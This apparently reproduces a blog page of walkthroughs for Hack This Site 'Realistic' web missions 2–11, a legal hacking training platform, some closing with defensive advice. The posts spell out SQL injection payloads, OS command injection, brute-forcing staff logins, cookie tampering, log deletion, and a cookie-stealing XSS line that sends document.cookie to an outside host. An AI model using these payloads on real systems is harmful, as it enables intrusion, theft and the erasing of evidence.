Tag: Website

Hello world, welcome to haxez where today we’re looking at Hack This Site Realistic Web Mission Level 11. I didn’t enjoy this challenge as much as the others. The reason why is because the mission no longer works as intended. I suspect this may be due to improvements in browser security or changes made to the application. The challenge initially required you to steal cookies through a user agent. However, that no longer appears to be the case. If you haven’t seen my other posts on the realistic series you can do so here: Part 1, Part 2, Part 3, Part 4, Part 5, Part 6, Part 7 and, Part 8

Realistic 11 Introduction

We’ve received a message from Space46 who explains that their ISP has suspended their web application because they suspected they hacked another website on the server. He has requested that we recover a backup of his website which is still hosted on the server. The filename of the backup is “src.tar.gz”.

Exploring The Realistic 11 Web Application

Navigating to the web application we can see it looks like a basic hosting provider’s website. There’s a number of navigation options but none of them appear to link to anything interesting. There is a webmail page which we could attempt to brute force if we can’t find anything else.

Realistic 11 OS Command Injection

One thing that caught my eye was the way in which the application was calling pages. There appears to be a Perl script that is calling different files with the page parameter. You can see an example of the Perl script calling the features page below.

https://www.hackthissite.org/missions/realistic/11/page.pl?page=features

We can attempt to exploit this functionality and use it to our advantage by changing the value of the page parameter to a Linux operating system command. In this instance, we are going to use the ls command to list out the contents of the current directory.

https://www.hackthissite.org/missions/realistic/11/page.pl?page=|ls|

As you can see from the screenshot below, the command worked and we can see the contents of the directory. We should take note of all the files listed as they could help us in the future.

Realistic 11 Further Exploration

The results of the OS command injection showed an admin directory. Navigating to that directory reveals a login page. Unfortunately, we don’t have any credentials for it yet so we will have continue exploring the web application.

The next file in the listing is a “bs.dbase” file which appears to be a database file. Needless to say, we can’t access it but we should remember the name for later. The next directory is the “client_http_docs” directory which appears to be the directory that contains all the web applications that are being hosted. Navigating to this directory shows a number of directory listings including space46. Sadly, attempting to access this directory produces an error message informing us that the application has been suspended.

The other directories appear to serve other applications. One of these applications is the Wonder Diet as shown in the image below. Another is about a potato which is still under construction. Browsing these applications didn’t provide much that we could exploit.

The Right Web Application

The rightwayradio directory contains what appears to be a radio web application. It seems to have some basic functionality including a login form. There’s also a message on the landing age from the user “rsmith”. If we click on that user it takes us to the “userinfo” page about that user.

Exploiting Web Application Users

If we look at the URL we can deduce that the user page is being called by the id parameter in the userinfo script. Furthermore, we can see that the user “rsmith” has a user id of -1. If we experiment with the parameter, we can retrieve other users’ information.

client_http_docs/therightwayradio/?page=userinfo&id=-1

By changing the value of the parameter from -1 to 0, we can retrieve the page for the user “aclu_bomber_08290”. As can been seen from the image below, we also have the ability to change that user’s password. Initially, I thought this was absurd as we had not authenticated. However, I have seen a lot of odd application behaviours so this shouldn’t have surprised me that much.

Web Application SQL Functionality

After changing the user’s password, we’re able to log in to their account. Their account appears to have access to a moderation page that has an input box for SQL queries. We also know, from our OS command injection, that there was a database file called bs.dbase.

If we view the page source of the application, we can see that there is a hidden parameter called sql_db which has the value of rwr.dbase. This is not the database we want to query.

However, we can modify the parameter and tell it to query the database that we want to query. We also know the location of the database because our OS command injection was run in the root of the application. By modifying the parameter and telling it to move up three directories, we should be able to query the main database.

Dumping Web Users

As this is an SQL Lite database, we need to query the sqlite_master table to find out what tables are held within the database. We can do this by running the command below. I have included the output which informs us that there is a table called web_hosting.

SELECT name FROM sqlite_master WHERE type ='table';name
web_hosting

Next, we can tell the database to dump the entire contents of the web_hosting table.

SELECT * FROM web_hosting;

As you can see from the screenshot, we were able to get a list of users, passwords, email addresses and their web_package identifiers. We can see from this information that the user wonderdiet appears to be the administrator user. Their web_package id is 1 which suggests their site was the first site created. Additionally, they have admin in their email address.

Accessing Realistic 11 Admin Area

If we head back to the admin area that we discovered earlier. We should now be able to log in with the wonderdiet web user and their password of suckereveryminute. Once logged in to the admin area, we have a number of options including the ability to download a file.

By clicking the download link, we are redirected to a page that shows the full path of the file being downloaded. We know from the directory listing and the filename given to us by the client where the backup file is located.

By modifying the URL to point to the src.tar.gz file that the client specified, we should be able to download their backup file and complete the mission. I have included the full URL path to the file below.

https://www.hackthissite.org/missions/realistic/11/admin/d.pl?file=/var/www/budgetserv/html/client_http_docs/space46/src.tar.gz

Congratulations you should now have completed this mission.

Hello world, welcome to haxez where today we’re looking at Hack This Site Realistic Web Mission 10. In other words, we’re going to demonstrate how not to implement authentication mechanisms. Overall, this mission was a lot of fun. It required creating a wordlist from a list of publicly listed teachers. Then, we used that wordlist to brute force the login page to gain access to the staff control panel. Once logged in, we had to flag ourselves as an admin by modifying our cookies. Then, we modified a post request to change the grades. If you haven’t seen my other posts on the realistic series you can do so here: Part 1, Part 2, Part 3, Part 4, Part 5, Part 6, Part 7 and, Part 8

Realistic 10 Introduction

Poor Zach Sanchez is having a difficult time at school. In fact, he may not be able to graduate because his grades are too poor. As a result, he has messaged us to ask whether we could hack into his school’s online grade database and change his grades. Additionally, He has provided us with his username and password to allow us to explore the application.

Exploring The Realistic 10 Web Application

The application is fairly basic, it has three links at the top and one halfway down the page. As can be seen from the image below, there isn’t a lot of functionality. For instance, the home button returns you to the home page, the staff listing takes you to a list of users, and the student access system takes you to a login page.

If we click on the Student Access System we are presented with a login page that requests a username and password. Zach provided us with his login credentials so let’s test them out and see what it gives us access to.

Upon login in as Zach, we don’t get a lot of increased functionality. As seen from the image below, we can view his classes, his grades, and any comments left by the teacher. Not a lot we can do here to change his grades.

If we head back to the homepage and view the page source of the application, there is a reference to a page that isn’t displayed on the home page. Notably, this page is named staff.php which indicates that it could be a page that staff members use to log in. Perhaps we can use this page to access and change Zach’s grades.

Realistic 10 Web Application Brute Force

When visiting the staff.php page we’re presented with a login form. While we have a login page, we don’t have any credentials to use to log in. I’ve explored the application in detail and couldn’t find any additional information.

However, we do have a list of staff members on the teacher listing page. With this in mind, perhaps we could use this list to identify genuine users of the application. First I copied the user’s first and last names into a text file and saved it as usernames.txt.

Next, I cloned the username-anarchy repository from GitHub. As soon as the repository was downloaded I told it to generate a wordlist using the first name and last name, first initial and last name, and a few other combinations. I then saved the results.

Josephs-MacBook-Pro:username-anarchy Joe$ sudo ./username-anarchy --input-file /Users/Joe/Desktop/usernames.txt --select-format first,first.last,f.last,flast
adam
adam.smith
a.smith
asmith
alfred
alfred.johnson
a.johnson
ajohnson
corey
corey.beelke
c.beelke
cbeelke
edward
edward.anderson
e.anderson
eanderson
gordon
gordon.freeman
g.freeman
gfreeman
henry
henry.mathison
h.mathison
hmathison

I then refreshed the login page to capture the log-in request with Burp Suite. Once the request was captured, I sent it to the intruder tool. I then removed the automatically generated payload positions and highlighted the username and password parameter values and added the payload positions.

Launching The Attack

I selected the attack type, then pasted in the values from the wordlist in positions 1 and 2 on the payloads tab. With the attack ready, I clicked the launch attack button.

After waiting around for a while, we found the correct username and password combination. As you can see from the image below, the response length from the application is different when the correct credentials are submitted. When the incorrect credentials are submitted the response lengths are all the same (1876). This is because the response from the server is the same. However, when the correct credentials are submitted, the response length is different because it is loading the page.

Logging In

With the correct credentials, we can now log in to the staff area as Samantha Miller. This area of the application appears to give us some more functionality but unfortunately, our access to it is restricted as we’re not an administrator.

In order to elevate our privileges to that of an administrator, we need to inspect the page and look at our cookies. We could intercept the request with Burp and change them for every request but that would make our life more difficult. The image below illustrates changing the value of the admin cookie from a 0 to a 1.

Realistc 10 Changing Grades

Now that we have administrator privileges we can access the change grades option. Unfortunately, it is too late to change the grades as they are about to be mailed out. However, if we view the source code of the application we can see that there is a POST method that includes a change grades function.

If we copy the POST request and modify it slightly, we can send it to Burp Repeater and use it to change the grades. The snippet of code below shows the post request with the values that need to be modified highlighted in bold. Change the grade value to 5 and then change the rec value to 0 and send the request, then increase the rec value by 1 and send the request again.

staff.php?action=changegrades&changeaction=modrec&rec=1&studentid=1&grade=5

You can keep modifying and sending the request until the response changes from grade submitted to the congratulations message for completing the mission.

And with that, you should have completed the message.

Hello world, welcome to haxez where today we’re looking at Hack This SIte Realistic Web Mission 9. To put it another way, we are going to take down the software giant crappy soft. No longer will it hold its employees to ransom while they produce subpar software. This mission was a lot of fun, the route to completion had more turns and twists than previous missions. In order to complete this mission, we will be using javascript to steal cookies. Furthermore, we then had to manipulate our cookies to access the payroll system and pay their employees. Once that was done, we had to manipulate a hidden form parameter to delete log files. If you haven’t seen my other posts on the realistic series you can do so here: Part 1, Part 2, Part 3, Part 4, Part 5, Part 6, Part 7 and, Part 8.

Realistic 9 Introduction

As can be seen, we’ve received a message from someone called R Conner. To summarise, the client explains that their boss has stopped paying their salaries and that their rent is due. Given these points, they have asked us if we could hack into the online payroll system and process their payment. For this reason, they have provided their log-in credentials hoping that they could be of some assistance.

Exploring The Realistic 9 Web Application

The application has a fairly basic design. Notably, there is a header at the top and a navigation menu on the left. Furthermore, the navigation menu contains a link to Home, Mailing List, Contact, and Demo. The mailing list allows the visitor to submit their email address. Additionally, the contact form does exactly what it says on the tin, it allows the visitor to send an email. The demo page allows the visitor to download a demo of their software.

Hijacking The Web Cookies

The client gave us their credentials, let’s log in and see what’s going on. Unsurprisingly, once we have logged in we have a number of new options. Private Message and Pay Salaries. Clicking the Pay Salaries link produces an error message that we need to be an Administrator. Somehow, we will need to steal the Administrators credentials. Heading over to the private messages section, we have the option to send private messages to the owner/administrator.

In order to gain access to the administrator’s accounts, we will need to steal their cookies. With this intention, we would normally require deploying a PHP script to a remote web server. Of course, there are plenty available on GitHub but deploying one is beyond the scope of this walkthrough. Perhaps sometime in the future. By sending the following Javascript to our victim, we are performing a Cross-Site scripting attack that steals the cookies and sends them to our malicious domain.

javascript:void(window.location='https://haxez.org/stealcookies.php?'+document.cookie);

By sending the above script to the victim, you will receive a notification informing you of the victim’s cookies.

Manipulating The Web Cookies

Now that we have the victim’s cookies, we can use them to access the payroll system. In order to do this, we will need to either modify the cookies directly in the browser or using a tool like Burp Suite to intercept and modify them. To demonstrate, the image below shows a request to the payday.php page that has been intercepted. It shows that the cookies strUsername and strPassword have been modified to those received from the cookie stealer exploit. Forward the request.

Paying Personell

In some way, it would be easier to modify the cookies directly in your browser. Doing it through Burp Suite requires you to modify the cookies for each request. For instance, we manipulated the cookies to access the payroll page but we need to intercept and modify them again to submit the Pay button as illustrated in the image below. Not modifying the cookies will send the default ones from your browser, which are the client’s cookies.

Realistic 9 Covering Our Tracks

Now that we have successfully brought balance back to R Conner’s world, we need to hide all evidence that we were here. After poking around the site a bit more, I discovered that directory listing was enabled on the files directory. Furthermore, this directory contains downloads, logs, and mailinglist directories. This information could be invaluable for exploiting the web application to delete the log files. We can’t delete them through the directory listing but perhaps we can find another way.

Heading back to the application Mailing List page we can see a message. The message says that the mailing list checks the list for any addresses without an ‘@’ symbol and deletes them. This appears to be active functionality so perhaps we can exploit it.

Exploiting The Mailing List

With this in mind, let’s view the source code of the application mailing list and work out what’s going on. We can see from the image below that a post request is being submitted to the subscribemailing.php page. We can also so that there is a hidden form value that specifies the path of the mailing list. There is a visible form that lets the user include their email address. What would happen if we submitted an email address without the ‘@’ symbol and changed the hidden form value to the log file?

You can do this either directly through your browser’s development console, or you can do it through Burp Suite like me. Using Burp Suite could help defeat some client-side checks (like checks for an ‘@’ symbol). First, you will need to turn intercept on and populate and submit a string to the mailing list. Second, you will need to modify the request to change the location from the addressess.txt file to the /files/logs/logs.txt file. Finally, you need to forward the request. That should allow you to complete your mission.

Hello world, welcome to haxez where today we’re looking at Hack This Site Realistic Web Mission Level 8. This mission requires us to perform an SQL injection to obtain the username of our victim. Once we have the username, we need to register an account and manipulate the cookies in order to transfer ten million dollars from our victim’s account to our client’s account. After that, we need to hide all evidence of our nefarious actions by deleting the log files. If you haven’t seen my other posts on the realistic series you can do so here: Part 1, Part 2, Part 3, Part 4, Part 5, Part 6, and Part 7.

Realistic 8 Introduction

We’ve received a message from DarkOneWithANeed. The message explains that an entrepreneur by the name of Gary Hunter has deposited ten million dollars into his United Banks Of America bank account. The purpose of the deposit is so that he can donate it to a campaign. The campaign’s goal is to hunt down and lock up hackers. The client would like us to break in and steal this money.

Exploring The Realistic 8 Web Application

First things first, let’s head over to the application and see what we’re dealing with. At first glance, the web application appears to be fairly basic. It has a number of pages including home, login, register, help, and user info. If we look back at the message, the first challenge is to find the account of Gary Hunter. Fortunately, there appears to be a User Info page.

Realistic 8 Web Application User Info SQL Injection

The user info page allows us to search for users. However, if we search for the name Gary we get a single user returned. We can try searching for the letter A in hopes that it would return all users with an A in their name but that doesn’t work. If we input a single quotation mark we get an SQL error explaining that there was a problem getting username information from table ‘users’. This indicates, that the application is vulnerable to SQL injection.

If we use the following payload in the search box we should get a list of users. The reason this works is that we’re escaping the syntax and adding our own and commenting out the rest. Our syntax is telling the SQL server to return user ‘a’ or anything that’s true (exists).

' or 1=1 --

Once we submit the payload, we should get a list of users returned. If we hit ctrl f on our keyboard we can search for Gary. The first result should be our victim Gary Hunter. Copy and paste his name and the –$$$$$ — value into your notes because we will need it later.

Move Money Cookie Manipulation

Now that we have our victim’s username, we need to transfer the ten million dollars from their account to our client’s account. In order to do this, we need to register our own account and see what functionality we have. I’ve registered the username haxez.

Once the account is created, log in. You should see that you have your account information and two options. Clear files in a personal folder and move money to a different account. Unfortunately, as in real life, we have no money in our bank account. However, perhaps there is a way for us to deceive the web application into think we’re Gary Hunter. If we pre-populate the move money option and load up our favorite web application penetration testing tool, Burp Suite. We can intercept the request before it is sent to the server.

Once you’ve populated the “Move Money” parameters, ensure Burp Suite intercept is on and click the Move Money button. You should see a window like the one below (depending on your theme, dark mode rules). If we analyze the request, you can see that the request is posting to movemoney.php. The contents of the request are two parameters, TO=dropCash and AMOUNT=1000000000. However, the value ten million may look odd because it is being URL encoded. You should also see that there are a number of cookies. The cookies we want to manipulate are “accountUsername” and “accountPassword". Fortunately, Burp allows us to modify these values directly before submitting them. Edit the cookies and replace them with the values we obtained from the SQL injection

(accountUsername=GaryWilliamHunter; accountPassword=-- $$$$$ --;). 

Forward the request.

Web Application Clear Files Hack

Now that we have committed the crime of the century, we need to cover our tracks. The client’s email advises us that the logs are kept in a directory called logFiles. After transferring the funds, you will be logged out of the application. Log back into the application and turn on Burp intercept again. Click the “Clear files in personal folder” button. Jump back to Burp and you should see the request. At the bottom of the headers, you will see the parameter dir=<usernameSQLFiles>. Change this value to logFiles and forward the request.

After that, you can head back to your browser and you should see that you have successfully completed the mission.

Conclusion

This was a fun challenge that allowed us to don the hood of the vigilante hacker once again. While the application was outdated, it demonstrated how poor design choices can lead to weaknesses in security. The SQL injection was possible because the application wasn’t using prepared statements. This could have been mitigated with something similar to the following.

$stmt = $conn->prepare"SELECT FROM Users (Username, Description) VALUES (?)"0;$stmt->bind_param("s", $Username, $Description);

The cookie manipulation that was used to transfer the funds was a fun technique to use. It’s an example of why session tokens and Anti-Cross-Site Request Forgery tokens are important. By having unique non-descript cookies, and server-side checks to verify those cookies, you ensure that malicious threat actors can’t hijack other user’s sessions or in this case, impersonating a user and submitting data.

The directory manipulation on the clear log files form was another great example of why anything being transmitted from the user’s browser shouldn’t be trusted. The data could be manipulated and have unexpected consequences. This could be mitigated by using a session token to reference properties stored in a server-side cache. It could also be mitigated by validating the values before processing them.

Anyway, I hope you enjoyed this post. Come back next time where we will look at realistic 9.

Hello world, welcome to haxez where today we’re looking at the Hack This Site Realistic Web Mission Level 7. This challenge was a lot of fun. Regardless of how old Hack This Site is, it’s still one of the most immersive platforms for testing your hacking skills. The techniques used are still relevant today. However, a lot of the vulnerabilities you would certainly hope not to find on big corporate websites. If you haven’t seen my other posts on the realistic series you can do so here: Part 1, Part 2, Part 3, Part 4, Part 5, and Part 6.

Realistic 7 Introduction

Navigating to this challenge, you will be sent a message from FreedomOfChoice. To paraphrase the message, they explain how they have found a hate speech website that’s asking for a hacking. The website is a homophobic website that likes to dictate how other people should live their lives. What’s concerning is how these issues are still relevant today despite these challenges being as old as they are. Progress is slow I guess. I digress, FreedomOfChoice would like us to hack into the admin area of the website which he suggests is hidden in the directory structure somewhere.

Exploring The Realistic 7 Web Application

Upon visiting the application we are presented with the standard hate speech that the internet could use less of. That’s ok though, through our efforts this website is going to cease to exist. At first glance, the website appears to be fairly basic with only a few hyperlinks. We will need to delve a little deeper into the dark recesses of the application to find something we can exploit.

After clicking around the application, I noticed that it’s calling image files in a peculiar way. It’s peculiar because it appears to be performing local file inclusion to access a text file. The local file inclusion immediately sets off alarm bells. As you can see the showimages.php script has a parameter called file, which is calling patriot.txt.

If we navigate to patriot.txt, we can see that it has a list of images that are in the images directory. This is an odd way to embed images into a website. Perhaps, we can use it to our advantage.

Realistic 7 Web Directory Listing Enabled

Navigating to the images directory and we have scored. As you can see, the image below shows a directory listing is enabled. Please note, One important element of Cyber Security is minimizing information disclosure. Having directory listing enabled could divulge information about the application such as its structure, the technologies being used, and even disclose other sensitive information through readable files. There appears to be an admin directory.

Attempting to access the admin directory gives us the expected Unauthorized error message. However, the login prompt appears to be being generated by an htaccess and htpasswd file combination. Previously, other challenges we have seen used an SQL-backed application login.

Exploiting The Web Application

At this point, it’s safe to assume that the application is using htpasswd for authentication. We also know that the file parameter was performing local file inclusion to get the image files. To summarise, perhaps we can use the local file inclusion to our advantage and list out the contents of the admin directory without authenticating.

In order to test this, I used a tool called DIRB. DIRB is a directory and file brute-forcing tool. The location of the admin directory is in /images/admin so I told DIRB to search that directory through the showimages.php?file= parameter.

Web Local File Inclusion

The image above shows the results from running DIRB. as you can see, DIRB found both the htaccess and htpasswd files hidden in the admin directory. What this also means, is that we can use the showimages.php?file= parameter to read the contents of those files. Let’s start with the htaccess file. As you can see from the picture below, the htaccess file is referencing the htpasswd file. This confirms our suspicion that it was being used for authentication.

Now, if we go and look at the htpasswd file. We can see that the htpasswd file contains a password hash for the administrator user. Perhaps, we can crack this password hash and use it to log in to the admin area of the application.

Hash Cracking

With the hash saved in a file called hash.txt, we spin up our Linux ParrotOS virtual machine and ask our dear old friend John The Ripper to crack it for us. I didn’t supply any flags, I just pointed John at the file and he got to work. John quickly identified that it was an MD5 hash. John also cracked the password surprisingly quickly given I was running it on a virtual machine. However, I assume that shadow is fairly high up in the default wordlist.

With the hash cracked and the password saved, we can navigate back to the /images/admin directory and see if our newly acquired administrator password works. When the login box pops up, input administrator for the username and shadow for the password. Click Sign In and you should be authenticated.

And with that, you should be done, congratulations you have now completed a realistic 7.

Conclusion

There is a fair bit to break down in this mission. Let’s get directory listing out the way as it’s something we have touched on before. Directory listing can expose sensitive information to the public. It’s fairly easy to turn off on most web servers and doing so will limit the amount of information a malicious actor could obtain about the environment.

Local file inclusion was the next technique that we used to gather information about the application. I’m pleased to see that the application was using the relative path rather than the absolute path. This minimized information disclosure but the problem was with the way the application was calling the image files. Rather than hard-coding them into the source, it was using a parameter. This allowed us to exploit the trust of that parameter and use it to call other files on the webserver.

Permissions were also lax. The parameter allowed us to access files that were in the admin directory which shouldn’t have been possible.

Anyway, I feel a bit like captain hindsight so with the challenge complete I hope you enjoyed this post. Check back soon for more hacking.

Hello world, welcome to haxez where today we’re looking at Hack This Site Realistic Web Mission Level 6. I’ve been putting this mission on hold to try and write a bash script to decrypt the encryption. However, after several attempts at writing it and not making much progress, I decided to use somebody else’s script. I understand how the algorithm works and how to reverse it. However, writing something to reverse was proving harder than anticipated. If you haven’t seen my other posts on the realistic series you can do so here: Part 1, Part 2, Part 3, Part 4, and Part 5.

Realistic 6 Introduction

We have a message from ToxiCo_Watch. They explain that they have been sniffing their companies network due to a toxic waste scandal. They believe that the company has paid off the inspectors but want evidence to prove it. During their network sniffing, they were able to capture, what they believe to be an encrypted message. However, they are having trouble decoding the message and have asked us to help.

Realistic 6 Encrypted Message

ToxiCo_Watch has provided us with a link to a web application that contains the encoded message. The application also contains a link to the web application tool used to encode it. You can see from the image below that the message appears to be a full stop followed by three numbers. This pattern repeats until the end of the message.

Web Encryption Tool

If we head over to the link provided, we have an input box for the text to be encrypted. We also have an input box for the encryption password. If we submit a value without a password, we get some numbers at the top of the screen (4, 44, 49). If we add these numbers together we get 97. 97 is the ASCII decimal number for the letter A, we can repeat this process for other letters and get their corresponding ASCII decimal values returned. However, when we add a value to the encryption password box, the value changes. The value supplied to the encryption password box is also being converted to an ASCII decimal which is being added to the value of the submitted text ASCII value. It is then being split into three numbers which when calculated equals the ASCII value of the text plus the encryption password.

Web Decryption Tool

Provided I explained the encryption process well enough, I should be able to explain how to decrypt it. First, I was going to copy the encoded message into a text file. Second, I was going to use sed to remove the full stops or periods. Third, I was going to use a loop with “expr substr” to pull 3 characters from the file. I was also going to us a variable that incremented 3 digits to jump to the next three characters. Fourth, I was going to calculate the value of the three numbers. Fith, I was going to subtract an incrementing value (representing the encryption password) from the total value. The script would then echo the results to the terminal.

This should have allowed me to identify the correct conversion. However, the script hasn’t gone as planned. I haven’t had as much time to work on it as I would have liked due to other commitments. Fortunately, my programming incompetence can be bypassed by using somebody else’s programming genius. Graeme Robinson’s blog has a great JavaScript solution which we can use to decode the message.

Emailing The Client

Once we have the decoded information, we can send it in a message to ToxiCo_Watch. This should complete the challenge. I hope you can forgive me for not writing my own script to solve this one. I had a basic proof of concept ready but just haven’t had the time to complete it. Perhaps I will in the future and then update this blog.

Hello world, welcome to haxez where today we’re are looking at Hack This Site Realistic Mission 5. This is a fun challenge that requires you to enumerate the web application and then cracked the discovered hashes. In order to solve this mission, you will need some basic knowledge of how Linux web servers work and some knowledge of what password hashes are and how to crack them. If you haven’t seen my other posts on the realistic series you can do so here: Part 1, Part 2 and Part 3.

The purpose of this mission is to hack a password for a telemarkets website. With that password, we are to desotry the database thus restoring privacy to the lives of their victims. In order to get the password, we will need to explore the web application to look for clues. Upon logging in we receive the following communication from

Exploring The Realistic 5 Web Appliation

Spiffomatic64 has given us a link to the telemarketer’s application. Visting the web application presents us with the page depicted in the image below. The application has some basic functionality such as a news page, a contact page, and a database page.

Navigating to the news page tells us a lot about the application. Probably more than the creator should have told us. For instance, they inform us that the website was previously hacked. They also inform us that google was grabbing links it shouldn’t so they have taken extra precautions. In order to stop google indexing certain parts of a web application, you can add a Robots Exclusion Standard file to the root of your domain. By adding URLs to the robots.txt file you are telling Google you don’t want those URL’s indexed the next time it crawls the application.

Delving Deeper

Navigating to the robots.txt file we can see that the file is telling all User-Agent (denoted with the asterisk) to disallow indexing of /lib and /secret. Search engine spiders have their own User-Agents that allow applications to identify them and whitelist them. See my post on User-Agent switching on how this could be abused.

Navigating to each of these directories reveals some interesting files. Firstly, in the secrets directory, we have an admin.bak.php file and an admin.php file. We can deduce that the admin.bak.php is likely a backup of the admin.php file. Attempting to access the admin.php file results in an incorrect password warning. This allows us to conclude that the admin.php page is the page we’re attempting to gain access to.

Moving forward, let’s take a look at the admin.bak.php file. I’ve downloaded a copy of this file to my virtual machine and used the cat command to display the contents. We can see from the file that there is a reference to MD4. MD4 is a hashing algorithm that was used to hash passwords. Hashing passwords attempts to protect passwords in the event that they are leaked.

The Application Hack

Going back to the robots.txt file there was another directory called lib. Navigating to this directory shows a file called hash. If we download this file and view the contents it appears as if we have recovered a password hash of “51ba17c17338c1031e11432dfb47105a”.

Based on the information we found in the admin.bak.php file, we can safely assume that the hash is an MD4 . Fortunately, MD4’s are a fairly old hashing algorithm and can be cracked easily. I attempted to crack the hash online using crackstation.net and a few other sites but it appears the sneaky admin’s over at Hack This Site like to change the hashes periodically, and this hash hadn’t been cracked before. So in order to crack the hash we needed to contact our old friend John. Using John The Ripper I specified the format of MD4 and told John which file to crack. Normally I would specify a wordlist but I left John to use his default one. The command to crack the hash is as follows.

john --format=raw-MD4 <file-to-crack>

Once the correct password has been recovered, you can head over to the database link on the main page and paste it in. This should complete the mission.

Hello and welcome to haxez, today we’re looking at Hack This Site Realistic Web Mission Level 4. I liked this challenge although I was confused about the syntax used to complete the mission. The mission requires you to perform a UNION ALL SQL Injection in order to grab email addresses from a database. Once you have the email address, you need to email them to the client. If you haven’t seen my other posts are the realistic series you can do so here: Part 1, Part 2 and Part 3.

The mission should you chose to accept it is to hack the FAP website and steal the email addresses of everyone on the mailing list. Why?, because FAP kills animals to sell their pelts to rich customers. SaveTheWhales has kindly asked us if we can get the mailing list and send it to him so that he may “contact them”.

Exploring The Realistic 4 Website

Visiting the website, you’re greeted with a fairly simple page that explains what the web application is about. There is a submission box to add your email address to the mailing list. There are also two links, one to Fur Coats and one to Alligator Accessories (poor Alligators). We could try attacking the mailing list submission system but for now, let’s continue exploring the application.

Following the Fur Coats and Alligator Accessories links takes you to the corresponding product pages. These pages appear to be dynamic, as though they were being generated by an SQL Query. If we look at the structure of the page, it can be broken down into three database columns Picture, Description, and Price. We can also assume that there is a table for email addresses.

The Website Hack

Although the application didn’t error when appending a single quotation mark. We can still attempt to perm a UNION SQL injection. The syntax for the specific SQL injection to retrieve the data confuses me slightly. For example, W3Schools and Portswigger have excellent articles on UNION SELECT and UNION SQL injections. W3Schools explains that the difference between UNION SELECT and UNION ALL SELECT is that UNION ALL SELECT will include duplicate values whereas, UNION SELECT won’t. The information that we exfiltrate from the database doesn’t have duplicate values but the UNION SELECT injection doesn’t work. Furthermore, Portswigger has a number of examples and they all start with a single quotation mark to break out of the existing SQL query. Adding a single quotation mark to the UNION ALL SELECT command here doesn’t work. I’m probably misunderstanding what’s going on but feel free to leave me a comment.

Anyway, back to the hack. So we know there are likely three table columns. One for the product picture, one for the product description, and one for the product price. We also know that there is likely a table called email, or emails. With this information, we can structure our UNION ALL SELECT command.

SQL Injection

Firstly, in order to perform an SQL injection on realistic 4, we need to tell the application what type of query we’re performing.

UNION ALL SELECT

Secondly, we tell the database what columns we want and what column we want to inject our data into. This works with both columns two and three. However, if you inject it into column two your font will be normal but if you inject it into column three your font will be bold. This matches the formatting of the website.

NULL, *, NULL, NULL

Finally, we tell it where we want to query the data from. For example, we want to pull the data from the email table. We also need to end the query with a semicolon.

FROM EMAIL;

Put it all together and you should have an SQL injection that looks like the following.

UNION ALL SELECT NULL, *, NULL, NULL FROM email;

Moving forward, we need to append the SQL injection to the end of the URL after the 1. The query should look something similar to the image below depending on your injection point and the case of your characters.

Once you have done that, hit return on your keyboard and you should see the web application load with some additional information. The email addresses from the mailing list have been included with the product queries.

Copy the email addresses from the page and head back to the main HackThisSite website. Click your name on the left-hand side and then when your profile loads, click it again. You will now a send message box. Change the recipient to SaveTheWhales and send them the list of email addresses that you hacked from the FAP website.

That’s it, you should now have completed this mission. This was a fun mission that uses a practical exploitation technique in the form of a UNION-based SQL injection. While I argue that the syntax is a bit odd and will wait for someone to correct me before changing my mind, it is a good example. What we can learn from this is that queries to back-end databases should use prepared statements. Use prepared statements!!!

Anyway, thats Realistic 4 hacked and that’s it for today. I hope you enjoyed it. Please check out the video and I will see you next time.

Hello world, welcome to haxez where today we are looking at Hack This Site Realistic Mission number 3. This mission requires knowledge of website structures and how web forms work. To summarise, It’s a fun mission but some of the syntax is incorrect unless I’m mistaken. If you haven’t seen my other posts are the realistic series you can do so here: Part 1, and Part 2.

Upon navigating to realistic mission 4, you are greeted with the following message from PeacePoetry. The message explains that she has built her own site to submit and share peace-related poetry. However, someone has hacked her website and posted pro-war propaganda. She has asked whether we can hack her website to restore the original content.

Exploring The Realistic 3 Website

Upon visiting the website, we’re presented with a title that says the page has been hacked. There is a picture of a majestic and patriotic eagle. The website doesn’t have much functionality other than that.

There isn’t much going on at the surface level. Let’s dig a little deeper and see what is going on in the page source. As shown below, the image shows the page source and that the hackers kindly left a message to inform us where the old site was located. As a result, the old site can be found at oldindex.html.

If we navigate to the oldindex.html, we find the original website. Furthermore, It has a bit of dynamic functionality that allows you to submit and read poems. The Poem submission system appears to write the poems directly to the directory where the website is located. We can use the Poem submission system to restore the hacked website.

Restore Website Hack

If you head back to the oldindex.html page, you can view the page source. Select all of the page source and copy it to your clipboard or save it in a notepad document. Once you have it copied, head back to the poem submission system.

Paste the page source for the oldindex.html page into the Poem content box. In addition, name your Poem ../index.html. I’m not sure why we need to step up a directory to overwrite the current index.html page. Looking through the website content, everything appears to be stored in the /3/ directory. It shouldn’t require directory traversal to overwrite the page. I digress, with the name of the poem as ../index.html, it should overwrite the currently hacked index.html with the page source of the original website. This won’t fix the vulnerability. However, it will bring the old site back as the primary page.

Clicking submit will solve the challenge

Hello world, welcome to haxez where today we are looking at Hack This Site Realistic Mission level 2 where we need to hack the Nazis. Personally, I loved this mission. It’s much more immersive than the basic challenges as the website you need to hack could be real. While the web application only has two pages, the main page sets the tone instantly. In order to complete this mission, we need to perform an SQL Injection on the login page of the Nazi Web Application. Please check out my article on Realistic 1 if you haven’t already done so.

Navigating to Realistic 2 presents you with a message from someone called DestroyFacism. They have heard we are a good hacker and want our assistance taking care of the Nazis. The Nazis are organizing a hate rally against immigration. We can’t have that, let’s take them down.

Exploring The Realistic 2 Web Application

Loading their web application, the symbolism is strong. If you’re easily offended by Nazi symbolism then maybe this one isn’t for you. Personally, I love the fact that I’m getting to hack the Nazis, it feels so freaking cool. Anyway, back to the technical stuff. The website appears to be basic, there is no interaction other than the images. I don’t recommend clicking on them as they do link to a real Nazi website.

As there isn’t much going on at the surface, let’s look at what’s going on under the hood. There isn’t much to see except for a URL which we didn’t see on the main page. The URL references a page called update.php, as the main page is likely index.html or index.php we can assume this is a different page.

Navigating to update.php, we get a login form. This is going to be the method we use to hack the application. There could be a number of techniques used to hack it (such as brute-forcing), but we should test if the application is vulnerable to SQL injection. In order to do this, we can use a single quotation mark to escape the login forms SQL query and append our own data to the query.

Web Application Hack

Submitting a single quotation mark to the application caused it to error. This means the application isn’t using prepared statements for SQL queries. To elaborate, prepared statements use placeholders such as question marks to reference SQL queries. This means that the SQL query can’t be escaped because it is being called by the placeholder. However, as this application produced an SQL error it most definitely isn’t using prepared statements which means we can hack it.

By entering a value and escaping it with a single quotation mark, we can append our own SQL query to the current query. The value we are going to append is:

'or 1=1 --

This value will help us bypass the authentication because the answer is true. 1 does equal 1 so the SQL server will allow us to access the area of the application that the login form was protecting.

